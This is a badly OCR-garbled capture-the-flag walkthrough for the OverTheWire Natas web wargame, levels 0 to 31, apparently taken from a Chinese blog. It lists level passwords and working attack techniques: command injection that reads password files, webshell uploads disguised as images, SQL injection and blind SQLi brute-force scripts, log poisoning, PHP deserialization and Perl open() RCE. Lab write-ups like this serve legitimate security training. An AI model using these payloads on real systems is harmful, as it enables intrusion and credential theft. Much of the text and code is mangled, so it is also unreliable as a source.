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Level 0

Username: natas0
Password: natasO

URL:http://natas0.natas.labs.overthewire.org

##£75: You canfind the password for the next level on this page.

o bnA i A A YA RS R AT B o

<!--The password for natasl is gtVrDuiDfck831PgWsLEZy5gyDzlclto

Level 0 -> Level 1

Username: natas1
URL.:http://natas1.natas.labs.overthewire.org

##£75: You canfind the password for the next level on this page, but rightclicking has been blocked!

o BITF122 E VL.

<!--The password for natas2 is ZluruAthQk7Q2MgmDeTiUij2ZvWy2mBi >

Level 1 -> Level 2

Username: natas2
URL:http://natas2.natas.labs.overthewire.org

#275: There is nothing on this page

o htmlJ§ifid 45— <img src="files/pixel.png"> .

o HPEUNMIEE Fn Ffiles, VimlfilesH 3%, H% F{EfEusers.txto

alice:BYNdCesZgW

bob: jw2ueICLVT

charlie:G5vCxkVV3m
natas3:sJIINW6ucpubHPZ1ZAchaDtwd70GrD14

eve:zo4mIWyNj2

mallory:9urtcpzBmH

Level 2 -> Level 3

Username: natas3
URL:http://natas3.natas.labs.overthewire.org


https://blog.csdn.net/dfdhxb995397/article/details/101385190?utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-10.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-10.control
https://blog.csdn.net/baidu_35297930/article/details/99974886

htmlfEIS$FE7R: <!-- No more information leaks!! Not even Google will find it this time... --> .

o FURWIAHERAZR], NiZAF{Erobots. 3L

e urlyjinjrobot.txt, N #emut v LAk 32546

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Level 3 -> Level 4

Username: natas4

URL:http://natas4.natas.labs.overthewire.org

#¢7~: Access disallowed. You are visiting from “” while authorized users should come only from

“http://natas5.natas.labs.overthewire.org/”

o JHEITKINF12, FTHMILKEDT;
o MBS ENNE KRG, diEITE KGRk,

o 7EiE KL NN I Referer: http://natas5.natas.labs.overthewire.org/, =i & i% 18 R 31 A B W M

Access granted. The password natas5 is iX6I0fmpN7AYOQGPwtn3fXpbalVIcHfq

Level 4 -> Level 5

Username: natas5
URL.:http://natas5.natas.labs.overthewire.org

$275: Access disallowed. You are not logged in

o MEIEKL, KIlCookie: loggedin=0;
o &M NCookie: loggedin=1, *ki%.

Access granted. The password natas6 is aGoY4q2Dc6MgDgdolL4YtoKtyAg9PeHal

Level 5 -> Level 6

Username: natas6
URL: http://natas6.natas.labs.overthewire.org

e fiidiView sourcecode @AY, &I Aincludes/secretinc 44

o HITF121d 517 4 http://natas6.natas.labs.overthewire.org/includes/secretinc A &, F25F Wi N R A EdE .



<?
include
if(array_key exists( , $ POST)) {

if($secret == $ POST[ 1) |

print

} else {

print

e THj AFOEIUWGHFEEUHOFUOIU, F4&28 v 133 %15

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdhoi9

Level 6 -> Level 7

Username: natas7
URL:http://natas? .natas.labs.overthewire.org

o AN, $E/R <!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 --> .

o T4Vl http://natas? .natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8, 133|%H5,

DBFUBTqQG69KvIvI1iAbMoIpwSNQ9bWe

Level 7 -> Level 8

Username: natas8

URL:http://natas8.natas.labs.overthewire.org

o TEHUEG, TZRrencodedSecretit {4l il [m] A 1F 2 75 Eo 4 A HI{H .



<?

$encodedSecret =

function encodeSecret($secret) {

return bin2hex(strrev(base64 encode($secret)));

if(array_key exists( , $ POST)) {
if(encodeSecret($ POST[ 1) == $encodedSecret) {
print
} else {
print

}

o JHIEPHP{ELE T Ehttps://c.runoob.com/compile/1, 4m'S fitditHE

<?php

$encodedSecret
function encodeSecret($secret) {

return bin2hex(strrev(base64_encode($secret)));

function decodeSecret($secret) {
return base64_decode(strrev(hex2bin($secret)));

echo decodeSecret($encodedSecret),
echo encodeSecret( ),

o UI[Hi%i NoubWYf2kBq, F&72BI v £5 21 %% 1t o

Access granted. The password for natas9 is WOmMhUcRRnG8dcghE4qvk3JA91Gt8nD1

Level 8 -> Level 9

Username: natas9
URL:http://natas9.natas.labs.overthewire.org

o BEUEMD, KINoFKSkeyHfiE BT IEA) H AT .



if(array_key exists( , $ REQUEST)) {
$key = $_REQUEST[ Iz

if($key != ) {
passthru(

o H}Jif 1 dictionary.txt ; cat /etc/natas_webpass/natas10;# i\, FH & AT 15 345 R .

grep -1 1 dictionary.txt ; cat etc/natas_webpass/nataslo;

nOppl1igQAkUzaIlGUUjznlbFVj7xCNzu

Level 9 -> Level 10

Username: natas10
URL:http://natas10.natas.labs.overthewire.org

o BEHEUEG, KILIE T RIRFRT

, $ REQUEST)) {
$key = $ REQUEST[ 1;

if($key != ) {
if(preg_match( ,5key)) {
print
} else {

passthru( $key

o H4Jit . letc/natas_webpass/natas11 # A Z&iL [ i

grep -i . /etc/natas_webpass/natasill

U82g5TCMMQI9XUF0I3dYX61s70ZD9JKoK

Level 10 -> Level 11

Username: natas11
URL:http://natas11.natas.labs.overthewire.org



$Z7~Cookies are protected with XOR encryption.

EEVRY, cookielf){H Hidefaultdata SkeyZtid 7 5 15 2.

A LAt cookie 5 defaultdata 7 5 73 £llkey.

i tikey5data = array( “showpassword’=>"yes”, “bgcolor’=>"#ffffff") it 47 7 5k 15 2| ¥r ¥ cookie, I K i%.



<?
$defaultdata = array(

function xor_encrypt($in) {
$key = 5
$text = $in;
$outText =

Iterate through each character
for($i=0;%i<strlen($text);$i++) {
$outText .= $text[$i] ~ $key[$i % strlen($key)];
}

return $outText;

function loadData($def) {
global $ COOKIE;
$mydata = $def;
if(array_key exists( , $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[ 1)), true);
if(is_array($tempdata) && array_key_ exists( , $tempdata) && array_key exists(
ta)) {
if (preg_match( , $tempdata[ 1)) {
$mydata[ ] = $tempdatal 1;
$mydata[ ] = $tempdatal 1;

return $mydata;

function saveData($d) {

setcookie( , base64_encode(xor_encrypt(json_encode($d))));
$data = loadData($defaultdata);
if(array_key exists( »$ _REQUEST)) {

if (preg_match( , $_REQUEST][
] = $_REQUEST[ I

: . Hhttps://c.runoob.com/compile/1,




array(
$defaultdata array(
$yesdata array(
function xor_encrypt($in) {
$key 5
$text $in;
$outText

for($i=0;%i<strlen($text);$i++) {
$outText $text[$i] $key[$i strlen($key)];
)i

return $outText;

function xor decrypt($COOKIEDATA, $defaultdata) {
$key 5
$text = base64 decode($COOKIEDATA);
$outText = json_encode($defaultdata);

for($i=0;%i<strlen($text);$i++) {
$key $text[$i] $outText[$i strlen($outText)];
)i

return $key;

echo xor_decrypt($COOKIE[ 1, $defaultdata),

echo base64_encode(xor_encrypt(json_encode($defaultdata))),
echo base64_encode(xor_encrypt(json_encode($yesdata))),
{4

qw8JIqw8Iqw8Iqw8Iqw8Iqw8Iqw8Iqw8Iqw8Iqw8Iq

C1VLIh4ASCsCBE81AxMacFMZV2hdVVotEhhUJQNVAMhSEV4sFxFeaAw
C1VLIh4ASCsCBE81AXxMacFMOXT1TWxooFhRXJIh4FGnBTVF4sFxFel FMK

i icookie, B[R] 3RT5!

The password for natasl2 is EDXp@OpS26wLKHZy1rDBPUZkORKfLGIR3

Level 11 -> Level 12

Username: natas12
URL:http://natas12.natas.labs.overthewire.org

» }£/RChoose a JPEG to upload (max 1KB).

o BFEE, FRIN LSRRG, B php UK SRR, ik




<?

function genRandomString() {
$length = 10;
$characters =
$string = 5

for ($p = @; $p < $length; $p++) {
$string .= $characters[mt nd (@,

t_ra

return $string;

function makeRandomPath($dir, $ext) {
do {

$path = $dir. .genRandomString(). .$ext;
} while(file_exists($path));
return $path;

function makeRandomPathFromFilename($dir, $fn) {

$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);

if(array_key exists( , $ POST)) {
$target_path = makeRandomPathFromFilename (

if(filesize($_FILES[
echo
} else {
if(move_uploaded_file($ FILES[
echo
} else{

1) > 1000) {

10 1, $target_path)) {
$target_path\">$target path

action=
value=
name= value=
a JPEG to upload (max 1KB):<br/>
name=

type= value=

type= ><br />
>

F AL fIPHP ST P 25

<?php
$myfile = fopen(
echo fread($myfile,filesize(
fclose($myfile);




o WENALIR AT, U SO SRR

The file upload/pgball@e4d7.php has been uploaded

jmLTY@qiPZBbakKc9341cqPQZBJIv7MQbY

Level 12 -> Level 13

Username: natas13
URL:http://natas13.natas.labs.overthewire.org

e H¢/xFor security reasons, we now only accept image files! Choose a JPEG to upload (max 1KB).
"

o MEVING, KILEITexif imagetype()sh Hik T SRR UE

M AEphp SCAE L7 GIF89a Bl vl Zeid PR,



<?

function genRandomString() {
$length =
$characters

$string =

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(a,

return $string;

function makeRandomPath($dir, $ext) {
do {
$path = $dir. .genRandomString(). .$ext;
} while(file_exists($path));
return $path;

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);

if(array_key exists( , $ POST)) {
$target_path = makeRandomPathFromFilename

$err=$ FILES[ 10 1;

if($err){
if($err === 2){
echo
} else{
echo
b
} else if(filesize($_FILES[ 1) > 1000) {
echo 5
} else if (! exif_imagetype($ FILES[ 1)) {
echo
} else {
if(move_uploaded file($ FILES[ 10 1, $target_path)) {
echo $target_path\">$target path
} else{

]

action=
value=
name= value=
a JPEG to upload (max 1KB):<br/>
type= ><br />
value= >




o AEMIPHPXCHF N, FHESCEERE FAL T4

GIF89a
php
$myfile = fopen(
echo fread($myfile,filesize(
fclose($myfile);

Mg 7 ) B0 L P9 2, U T STA B AT SRAS 2 A

For security reasons, we now only accept image files
The file upload/mlldtczzbf.php has been uploaded

GIF89a Lg96M1eTdfaPyVBkIdjymbl1lQ5L6qdll

Level 13 -> Level 14

Username: natas14
URL:http://natas14.natas.labs.overthewire.org

o FRRIIAIK T E D,

BRI, KISQLIE A ELEPHM AR 47 5,

<?

if(array_key exists( , $ REQUEST)) {
$1link = mysql connect( 5
mysql select db( , $1link);

$query = $ REQUEST[ "username
ord \"";
if(array_key exists( , $ GET)) {
echo $query

if(mysql num_rows(mysql query($query, $link)) > 0) {
echo
} else {

echo

)i
mysql close($1link);

Username: <input name=
Password: <input name=

value=

o ERBUE AN debug=1 A] [B] E AT HISQLIEH] .

o IGRFEARIN username=" or 1=1 #&password=1 , JikH[I 0 FRAZEAD,




POST /index.php?debug=1 HTTP/1.1

Host: natasl4.natas.labs.overthewire.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://natasl4.natas.labs.overthewire.org

Content-Type: application/x-www-form-urlencoded

Content-Length: 21

Origin: http://natasl4.natas.labs.overthewire.org
Authorization: Basic bmFOYXMXNDpMZzk2TTEwVGRmYVB5VkIrSmRgeWlibGxRNUw2cWRsMQ==

Connection: keep-alive

Upgrade-Insecure-Requests: 1
Pragma: no-cache

Cache-Control: no-cache

Successful login! The password for natasl5 is AwWjOw5cvxrZiONgZ935stNVkmxdk393J

Level 14 -> Level 15

Username: natas15
URL:http://natas15.natas.labs.overthewire.org

o BHVIG, KIFASQUIEN, HEALIREMESR, R AEEI IR [ E P W 5 A7 X B E .



CREATE TABLE “users” (
“username’ varchar(64) DEFAULT NULL,
“password’ varchar(64) DEFAULT NULL
)s

if(array_key exists( , $ REQUEST)) {
$1link = mysql connect( 5
mysql select db( , $1link);

$query = $ REQUEST[ "username
if(array_key_exists( , $ GET)) {
echo $query

$res = mysql_query($query, $link);
if($res) {
if(mysgl_num_rows($res) > 0) {
echo
} else {
echo
)i
} else {
echo

mysql_close($1link);

method=
Username: <input name=

value=

FH natas16" and 1 < ascii(mid(password, 1,1)) and "" like ",

o GHIIIA HBSEISQLEER




import requests

high = 126
mid (high low)

while mid high:

payload (mid, pos)

req requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), data={

if req.text.find(
low mid 1
else:
high mid
mid (high low)

key (mid)
print(key)

WaIHEacj63wnNIBROHeqi3p9tem5nhmh

Level 15 -> Level 16

Username: natas16
URL:http://natas16.natas.labs.overthewire.org

o HHERY, KIILIE TR T

o fEPHPH, $O)FTLATES|I SR, #i& N ZgrepHIIENILES, Bl passthru ( "grep-i " $(grep ~a
etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" ); il oW agas B, SRAHERT .

if(array_key_exists( , $ REQUEST)) {
$key = $ REQUEST[ 1;

if($key != ) {
if(preg_match( $key
Input contains an illegal character

grep -i \"$key\" dictionary.txt");




while (key) 32:

for i in ( (char)):

payload key+char[i]

req requests.get(url, params=payload)

if not in req.text:
key char[i]
print(key)
break

8Ps3HOGWbN5rd9S7GmAdgQNdkhPkqg9cw

Level 16 -> Level 17

Username: natas17
URL:http://natas17.natas.labs.overthewire.org

o AFVRNY, KIERnatas15CEAl, REAREAE L.

e Jiillusername ynatas18, K N A/ENAIWTINFELE, EHFNEEE, 4 HIif)Msleep()BRECHIEN . HiE 1 F45F
]l natas18" and if(d<ascii(mid(password,1,1)),sleep(2),1) and "" like " .



CREATE TABLE “users” (
“username’ varchar(64) DEFAULT NULL,
“password’ varchar(64) DEFAULT NULL
)s

if(array_key exists( , $ REQUEST)) {
$1link = mysql connect( 5
mysql select db( , $1link);

$query = $_REQUEST
if(array_key_exists( , $ GET)) {

echo $query

$res = mysql_query($query, $link);

if($res) {

if(mysgl_num_rows($res) > 0) {
echo

} else {
echo

)i

} else {

echo

mysql_close($1link);

method=
Username: <input name=

value=

username




import requests

low 32
high = 126
while low < high:
mid (high low)

payload (mid, pos)

try:

req requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), data={

timeout=2)
except requests.RequestException as e:
low mid 1
mid (high low)
continue

high mid

key (mid)
print(key)

xvKIqDjy40Pv7wCRgD1mjOpFsCsDjhdP

Level 17 -> Level 18

Username: natas18
URL:http://natas18.natas.labs.overthewire.org

o JH 4% 0] Cookie: PHPSESSID=268 [1)F % .

SKIL1-6400 08, P IEAME, SRR EIEE
640; 640 should be enough for everyone

function print_credentials() { {{{
if($ _SESSION and array_key exists( , $ SESSION) and $ SESSION[
print
print
print
} else {
print

}




import requests

data_username
data_password
for i in (1, 641):
print(cookies)
req requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), cookies=cookies, data={
data_username, : data_password})
if req.text.find(
print(req.text)
break

cookies|

DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natasl9
Password: 4IwIrekcuzZlA90sjOkoUtwU61hokCPYs

Level 18 -> Level 19

Username: natas19
URL:http://natas19.natas.labs.overthewire.org
o PORVRIGER _E 2L, Bkt Ausernameflpassword, KBLEMAMIEE, %1

ascillfid At y1612t ], JFlE#PHPSESSID, [iZ#&Zid-admin.

o Bl b—3¢, Wil AN tPHPSESSID

import requests

data_username

data_password

def get password():
cookies {
for i in (109):
for j in (109):
for k in (10):
print(cookies)
req requests.post(url, auth=requests.auth.HTTPBasicAuth(username, password), cookies=cookies,
data_username, : data_password})
if req.text.find(
print(req.text)
return

cookies|

DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGI1lr7ivbOKABF




Level 19 -> Level 20

Username: natas20
URL:http://natas20.natas.labs.overthewire.org

o WMEVRIG, KINLITsessionDFER T b, FRBMENEAE, LSRR, nH$ SESSION[‘admin’==1, N &1h% i,

G 3lkey. Jf Hilld Bl pHRAZISE, Mo 2incttd, Bk, wTRCRBGEA#EXadmin 1#)75 Xk SEIIE .

o finameZEEHUN: name=111 %@Aadmin 1, 753%505,

function print_credentials() { {{{
if($ _SESSION and array_key exists( , $ SESSION) and $ SESSION[
print
print
print
} else {
print

1
J

function mywrite($sid, $data) {
$data contains the serialized version of $ SESSION
but our encoding is better
debug( $sid $data");
make sure the sid is alnum only!
if(strspn($sid, ) != strlen($sid)) {
debug( )
return;
}
$filename = session_save_path()
$data = ;

debug( . $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key $value");
$data .= "$key $value

b
file_put_contents($filename, $data);
chmod($filename, 0600);

Username: natas2l
Password: IFekPyrQXftziDEsUr3x21lsYuahypdgl

Level 20 -> Level 21

Username: natas21
URL:http://natas21.natas.labs.overthewire.org

o J&/rhttp:/natas21.natas.labs.overthewire.org/ Vi [f Fllhttp:/natas2 1-experimenter.natas.labs.overthewire.org i [fi & 5 F 1),
Hlsessiont & 3L H K.

o THEE MUY, KINFEDRE 2 KK sessionfadmin]=1/5 R & i .



function print_credentials() { {{{

if($ _SESSION and array_key exists( , $ SESSION) and $ SESSION[
print

print

print

} else {

print

1
J

o WES ARG, RInIUAIEAEE, HiHrsession, HARHFPOSTES R, H44 0] LLyE Aadmin=1.

o FEIERFMRSEINAadmin=1, FEKEE—AN U F)cookiefZ N 25 — AN TL T fr)cookieft, I,

// if update was submitted, store it
if(array_key_exists( , $ REQUEST)) {
foreach($_REQUEST as $key => $val) {

$ SESSION[$key] = $val;

1
J

Username: natas22
Password: chG9fbelTq2eWVMgjYYDIMsfIVN461k3J

Level 21 -> Level 22

Username: natas22
URL:http://natas22.natas.labs.overthewire.org

o EAEVAM, WIUEININ revelio 24, Wit GET I iEEHE 2 T2 header("Location: /"); HiE A .

o I BV B B E [ 7 SRR HE, BRI SRIBUK 5 5 D .

session_start();

if(array_key exists( , $ GET)) {
only admins can reveal the password
if(!($_SESSION and array key exists( , $ SESSION) and $ SESSION[

header( )

1
J

if(array_key_exists( , $ GET)) {
print

print

print




import requests

req requests.get(url, params={ : }, headers=header, allow_redirects=False)
print(req.headers)
print(req.text)

You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: DOv1ad33nQFOHz2EP255TP5wSW9ZsRSE

Level 22 -> Level 23

Username: natas23
URL:http://natas23.natas.labs.overthewire.org

RIS ZIP 2 (57 4F iloveyou , H#

H LR, £ By, BIFRFATCNIE. Frblfitpasswd A 11iloveyou BRI T

if(array_key exists( »$ REQUEST)){
if(strstr($_REQUEST[ 1, ) & ($_REQUEST[ 1 > 10 )){
echo -
echo
)i
else{

echo
morla 10111

The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zN043379LZveg

Level 23 -> Level 24

Username: natas24
URL:http://natas24.natas.labs.overthewire.org




o WEVFMY, KRILEstrompr AT L. T A ISR .

o JHINGETy K EEH ZH passwd[ 1=admin 7] LLGEL H K7

if(array_key exists( »$ REQUEST)){
if(!strcmp($ _REQUEST[ 1,
echo

echo

1
J

else{

echo

morla 10111

Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23
The credentials for the next level are:

Username: natas25 Password: GHF6X7YwACaYYssHVY@5cFq83hRktl4c

Level 24 -> Level 25

Username: natas25
URL:http://natas25.natas.labs.overthewire.org

o HFEVIN, fE1EXTZHlang !t B s I% A%, ../ M4 natas_webpass it .
o IHXEEAS L./ L/ TSR

e IS /E HTTP_USER_AGENT <5l <?php include("/etc/natas_webpass/natas26")?> 5 A G0/, 1] DIAREUK 52505



<?php
cheers and <3 to malvina
morla

function setlLanguage(){
language setup
if(array_key exists( »$ REQUEST))
if(safeinclude( . $ REQUEST[
return 1;

safeinclude(

function safeinclude($filename){
check for directory traversal
if(strstr($filename, )){
logRequest (

$filename=str replace( ,"",$filename);

dont let ppl steal our passwords
if(strstr($filename, )4
logRequest (
exit(-1);

add more checks...

if (file_exists($filename)) {
include($filename);
return 1;

}

return 0;

function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != && $file != )
$listoffiles[]=$file;

closedir($handle);
return $listoffiles;

function logRequest($message){
$log= . date( ,time())
$log=%log . . $ SERVER[
$log=%$log . $message
$fd=Ffopen(
fwrite($fd,$log);
fclose($fd);

RAE R AL, FEIR B H RS bR B

session_id()




Plang=....//....//c...//....//....//var/waw/natas/natas25/logs/natas25 oppu5tneplcp5do92q6rup29j5.log HTTP

Host: natas25.natas.labs.overthewire.org

User-Agent: <?php include( )?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://natas25.natas.labs.overthewire.org

Authorization: Basic bmFOYXMyNTpHSEY2WDdZdOFDYV1Zc3NIV1kwNWNGcTgzaFJrdGwoYw==
Connection: keep-alive
Cookie: PHPSESSID=oppu5tneplcp5do92qg6rup29j5

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

0GgWAJ7zcGT28vYazGo4rkhOPDhBu34T

Level 25 -> Level 26

Username: natas26
URL:http://natas26.natas.labs.overthewire.org

o BEHEWN, KIELIFHIL ki Funserialize(), H. 7] LLiE i cookie k4% fHilunserialize VI AE &, 55 M AEAE php ST AL TR o

J

RN A B destructBEAR I, A PLRME RSO E NE B

°
[y



class Logger{
private $logFile;
private $initMsg;

private $exitMsg;

function _ construct($file){
initialise variables
$this->initMsg=
$this->exitMsg=
$this->logFile =

write initial message
$fd=fopen($this->logFile,
fwrite($fd,$initMsg);
fclose($fd);

function log($msg){
$fd=fopen($this->logFile,
fwrite($fd,$msg. )
fclose($fd);

function __ destruct(){
write exit message
$fd=fopen($this->logFile,
fwrite($fd,$this->exitMsg);
fclose($fd);

function storeData(){
$new_object=array();

if(array_key exists( , $ GET) && array_key exists( , $_GET) &&
array_key_exists( , $ GET) && array_key exists( , $ GET)){
$new_object[ 1=%_GET[ 1;
$new_object[ 1=%_GET[ 1
$new_object[ 1=%_GET[ 1;
$new_object[ 1=%_GET[ ]

]

if (array_key exists( , $ COOKIE)){
$drawing=unserialize(base64 decode($ COOKIE[
)i
else{
create new array
$drawing=array();

$drawing[ ]=$new_object;
setcookie( ,base64 _encode(serialize($drawing)));

HIGER BRG0PV IR BEROSCH, ST,




Logger{
private $logFile ;
private $initMsg ;

private $exitMsg ;

function _ construct(){
$this initMsg
$this exitMsg
$this logFile

$test = new Logger();
echo serialize( $test );
echo ;

echo base64 _encode (serialize( $test ));

jM6e3MeMTU6IgBMb2dnZXIAbGONRM1sZSI7czoxMToiaWlnL2FhYS5waHAiO3M6M Mb2dnZXIAaW5pdE1zZyI7czow
NZXIAZXhpdE1zZyI7czoONjoiPD91Y2hvIGluY2x1ZGUgJy91dGMvbmFOYXNfd2VicGFzcy9uYXRhczI3Jzs/Pil7fQ==

55TBjpPZUUJgVP5b3BnbG6ONOUDPVZzCJ

Level 26 -> Level 27

Username: natas27
URL:http://natas27 .natas.labs.overthewire.org

o MK TIEEEEIEM B : mysqli H KT IR T .

o ZIPFHAmysql B AR A
SRR AERE R R A Y, mysql€s E Ftruncate 2 5 K TE i
e 2K Evarchar LT 2 E shH 5 .



if(array_key exists( , $ REQUEST) and array key exists( , $ REQUEST)) {
$1link = mysql connect( 5 5 )
mysql select db( , $1link);

if(validUser($link,$ REQUEST[ 1) {
user exists, check creds

if(checkCredentials($1link,$ REQUEST[ 1,$ REQUEST[
echo . htmlentities($ REQUEST][ 1)
echo ;
$data=dumpData($link,$ REQUEST[ 1;
print htmlentities($data);

)i

else{
echo . htmlentities($ REQUEST[

}

else {
user doesn't exist
if(createUser($1link,$ REQUEST[ 1,$ REQUEST[
echo . htmlentities($_REQUEST[ D)

mysql_close($1link);
} else {

’

o HINF 4 natas28+64 0 S M+xxx « ZHAIEHIK S . 2 )5 E 1 FHnatas28 %5 s H HU 2 At

Welcome natas28
Here is your data:
Array ( => natas28 => JWwR438wkgTsNKBbcJoowyysdM82YjeF)

Level 27 -> Level 28

Username: natas28
URL:http://natas28.natas.labs.overthewire.org

o FHIEANULH] A EECB ) H &S Ui

o LRI AR AT B M LK, IRk Y select text from jokes where text like ‘%aaaaaaaaaa’ union

select password from users #itit#HHHEHEE 0T N 116105 2 b, 112

$x=urlencode(base64 encode(hex2bin($y)));

echo $x;

iTbase64furldiid 5, HEE AL N TE, $KE

L




//HATPHPARIY, 753 :
G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BI2TdROQp8dcjPLAhy3ui8kLEVaROWiiI60e%2BI3Y2%2BwVxqbZmTo9x7ejCIaVF1T3rVZFTh

XVtnaO5kZQpCcigP5bFw65%2FBvb3ek9c4pf%2BOpFACRNdRda5Za71vNN8znGntzhH2ZQu87WIwI%3D

rooCaiseiyee8he8xongien9euhe8b

Level 28 -> Level 29

Username: natas29

URL:http://natas29.natas.labs.overthewire.org

o EAEFIERIEMurl: hitp://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground.
o Zxikfile=|ls %00, W] LATE TIRIHSE 2B CAFH11 3K

o 2iffile=|cat%20/etc/natas_webpass/natas30+%20%00, K IR [Fl#E~meeeeeep!

o Z:iffile=|cat+index.pl%00& B 5L, KILILIE 1 natas 747 i .

o 2%iffile=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00%55 L fR ], FREUE D

if(param( A
$f=param( )
if($f=~/natas/){
print
}.
else{
open(FD, "$f )
print 5
while (<FD>){
print CGI::escapeHTML($ );

1
J

print

wie9iexae@Daihohv8vuu3cei9wahfoe

Level 29 -> Level 30

Username: natas30

URL:http://natas30.natas.labs.overthewire.org

FLAUE A5 3 B RAE

o quote() MECR MRS H, FHMT S —IUE N — MRS HBORF R E — TR . QRRALR IR, e iR [0 56
BT AN EAT AR 51

o MG —ANSHERE IR, (AR EFR .

7.

#)iEPOST: username=xxx&password=‘xxx’ or 1=1 &password=2 , Fk#]



if ( eq request_method && param( ) && param( )
my $dbh = DBI->connect( 5
my $query= .$dbh->quote(param(
ote(param( ));

my $sth = $dbh->prepare($query);

$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print
print
print @$ver;
1
J
else{
print
1
J
$sth->finish();
$dbh->disconnect();

win
here is your result:
natas3lhay7aecuungiuKaezuathuk9biin@pul

Level 30 -> Level 31

Username: natas31
URL:http://natas31.natas.labs.overthewire.org

o AR B EAH RN

e my file = cgi->param( ‘file’ ); param(J¥41& Bl ZHUE N FIR, (HR W E—ANSEEEANSTCHFF . HRk, R E LI 7
bR 28, W file sy Bibs AR A& SO IR FFIOME, XS 1 file i 7/ B 2R AL

o 4§ file & T H R R LR R, fEwhile (<S$file>) o, <>IBFEFFAREXT TR AEIER, HAEM SR T
N, BRIEFFF ARGV, &H'AE‘E'%‘»"J’l‘!")‘é“ARGV”, N3z 57 <> K T S5l BaEAME MJ\ lopen()if i Al
IXAERRA T RETEPOSTIG SR 4T FF HFT B IR 25 4 AL &5 AT AR SO 9 25

o {EVHopen(pi%iie, B HEH /\Hﬁi‘r’f‘if@?\ﬂJ*H“ﬁ"HH‘/L‘H"J AR, AR T AR MBI A R R R, fERXFEOLT
open OO AMUSHTTFCA:, BaHAT M. B2, RAES fileEIHANFZR/F ARGV, XK IEIERSHUERFTITFFT A X
tF, EAE{EPOSTIE Kix)G, perleopen O (i‘{\exec()n&isystem()ih‘;J)HM’ij'ci/l‘RCE

o 2T R A B A K T W 4 T v A ) A A e N S, 5 JE i burpSuite &% FdE L AR 2K =520,
W 7 aiE s Il Q @ A& HIML CS5 J5 XHR =& B
#r oS = -l =R Cookie B3R W Fi RES
B YL a U L | L=
EEE GET & na... jquery-uij BE
. EREEER ( payload )
EE GET & na... wechall-datajs s.. J5 B&. 56 pay
i 1 e 281718646220280885922365941934
EEE GET & na... wechalljs 5. 5 BE. 10 2 Content-Disposition: form-data; name="file";
3 Content-Type: application/octet-stream
EEE GET & na.. sorttablejs 5 B&. 16 4 vRe e
_ . o | - 5 ARG
EEE GET & na.. bootstrap.minjs .. j5 B&. 36 6 | e 281718646220200085922365941934
~E na eorTico i = 7 -Disposition: form-data; name="file"; filename="test.csv"
GET f na... faviconicc Fav) him B2 | 309 ] -Type: application/octet-stream
EE POt Fna... indexpl Mel htr 112 19 1:
EEE PO¢ £ na... index pl?/etc/natas_webpass/natas32 Met htrr 112 19 11 mmmmmmmmmmmmmm-—m oo —-o——eoo 281718646228288885922365941934
12 -Dispositieon: form-data; name="submit”

EE PO & na... index.pl?/etc/natas_webpass/natas32 Mel him 112.. 19 13

. 14 Upload
@ PO: P"na... |ndex.pI?.-’Eftc.fnatas_webpass!natas32 Mel htr 1.12.. 19 - 281718646228288855922 365941934 -

: 16
EE PO & na... index.pl?/etc/natas_ webpass/natas32 Mel htr 112.. 19



EEE POt & na... index.plicat fetc/natas_ webpass/natas32 | Met htr 112 19
EEE PO # na... index.plicat fetc/natas_webpass/natz: » MNei htm 212 19
EEE PO # na.. indexpl Met htm 180 16
EEE PO¢ # na.. indewpl?cat fetc/natas_webpass/natas32 | Mel htm 112 19
EEE PO i na... index.pl2cat fetc/natas_webpass/nata . Mel htm 507 ... 323
EEE PO i na... index.pl?cat fetc/natas_webpass/nata  Met htm 112 19

T RL Il Q & /HE HML €55 J5 XHR =& B ®E ws Etn [J=HEss
s oEE i * ™ Bl #BE Coockie R W #E KRS
e query-rays =
HTML
GET & na... jquery-uijs 43t
GET # na... wechall-datajs 564

GET # na... wechalljs

Bl NATAS31

GET # na... sorttablejs

ERARRAEY =

GET # na boots

GET # na... faviconico Fav htm B2 309

PO: & na... indexpl Nel htr 112, 19
PO f na... index.pl?/etc/natas_webpass/natas32 Nei htm 112 19
POS f na... index.pl?/etc/natas_webpass/natas32 Neil htm 112 19 Csvz HTM L
